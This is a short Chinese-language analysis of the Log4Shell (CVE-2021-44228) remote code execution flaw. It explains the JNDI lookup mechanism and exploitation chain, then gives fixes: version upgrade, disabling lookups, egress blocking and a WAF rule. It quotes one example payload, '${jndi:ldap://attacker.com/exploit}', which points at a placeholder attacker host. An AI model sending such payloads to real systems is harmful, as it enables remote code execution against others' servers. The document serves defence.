Log4j RCE 漏洞深度分析
2021 年底披露的 Log4j2 远程代码执行漏洞(CVE-2021-44228,别名 Log4Shell) 被称为"史诗级"漏洞,影响全球绝大多数 Java 应用。
漏洞原理
Log4j2 的 lookup 功能支持在日志中通过 ${} 语法动态解析变量。其中 JndiLookup 允许从远程 LDAP/RMI 服务加载对象。当日志内容包含攻击者可控的字符串时:
text
${jndi:ldap://attacker.com/exploit}Log4j 会主动连接攻击者的 LDAP 服务并加载其中的恶意 Java 类,实现远程代码执行。
利用链
- 应用将用户输入记录进日志(如 User-Agent、用户名)。
- 触发
${jndi:ldap://...}解析。 - 受害者 JVM 向攻击者 LDAP 发起请求。
- 攻击者返回一个指向恶意 Class 的引用。
- JVM 下载并执行该 Class,控制权丢失。
修复方案
- 升级版本:升级到
2.17.1及以上(2.15/2.16 仍有绕过)。 - 移除危险 Lookup:
properties
log4j2.formatMsgNoLookups=true- 网络层收敛:禁止服务器主动出网到未知 LDAP/RMI。
- WAF 规则:拦截包含
${jndi:的请求作为止血手段。
时至今日,大量内网老旧组件仍可能存在该风险,资产盘点与依赖扫描仍是防御重点。